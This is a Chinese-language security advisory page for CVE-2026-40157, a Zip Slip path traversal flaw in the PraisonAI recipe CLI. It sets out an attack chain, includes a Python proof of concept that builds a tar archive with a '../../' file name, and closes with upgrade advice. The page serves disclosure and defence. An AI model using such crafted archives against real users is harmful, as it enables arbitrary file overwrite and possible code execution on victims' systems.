IPBUF安全漏洞报告
English
CVE-2026-40157 CVSS 8.8 高危

CVE-2026-40157: PraisonAI路径遍历漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-40157
漏洞类型
路径遍历
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
PraisonAI

相关标签

路径遍历PraisonAICVE-2026-40157任意文件写入Zip Slip

漏洞概述

PraisonAI在4.5.128版本之前的recipe CLI中存在安全漏洞。由于`cmd_unpack`功能在解压.praison tar归档文件时使用了未经验证的`tar.extract()`方法,攻击者可构造包含`../`路径的恶意归档包。当受害者运行解压命令时,攻击者可利用此漏洞在文件系统上的任意位置写入文件,导致系统面临严重的安全风险。

技术细节

该漏洞属于典型的“路径穿越”或“Zip Slip”漏洞。在PraisonAI的命令行界面(CLI)中,`cmd_unpack`函数负责处理`.praison`格式的压缩包。由于代码直接调用了Python的`tar.extract()`方法,而未对压缩包内文件的文件名进行安全校验(例如检查是否包含`../`或绝对路径),攻击者可以精心构造一个恶意的tar包。当受害者执行`praisonai recipe unpack`命令解压此包时,程序会按照攻击者指定的路径写入文件。通过在文件名中包含`../`序列,攻击者可以将文件解压到预期目录之外的任意位置(如覆盖系统配置文件、SSH密钥或可执行文件),从而实现任意文件写入,可能导致远程代码执行或系统劫持。

攻击链分析

STEP 1
1. 制作恶意载荷
攻击者创建一个包含`../`路径序列的恶意`.praison` tar归档文件,旨在绕过目录限制。
STEP 2
2. 诱导受害者
攻击者通过社会工程学手段,将恶意归档文件分发给受害者,诱导其下载。
STEP 3
3. 触发漏洞
受害者执行`praisonai recipe unpack`命令解压该文件。由于缺乏路径校验,程序将文件写入系统任意位置。
STEP 4
4. 实现攻击
攻击者成功覆盖系统关键文件或写入恶意代码,可能导致权限提升或远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import tarfile import os def create_malicious_tar(): """ Creates a malicious .praison tar archive demonstrating the path traversal. """ output_filename = "malicious_exploit.praison" # The file name includes path traversal sequences to escape the directory malicious_file_name = "../../arbitrary_write.txt" try: with tarfile.open(output_filename, "w") as tar: # Create a TarInfo object for the malicious file info = tarfile.TarInfo(name=malicious_file_name) info.size = 0 # Add the file to the archive tar.addfile(info) print(f"[+] Successfully created malicious archive: {output_filename}") print(f"[+] Archive contains path traversal: {malicious_file_name}") print(f"[+] Usage: praisonai recipe unpack {output_filename}") except Exception as e: print(f"[-] Error creating tar file: {e}") if __name__ == "__main__": create_malicious_tar()

影响范围

PraisonAI < 4.5.128

防御指南

临时缓解措施
建议用户立即检查当前使用的PraisonAI版本。如果受影响,请尽快升级至修复版本。在未升级前,切勿解压或执行来源不明的`.praison`文件,特别是在具有高权限的环境中运行CLI工具。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表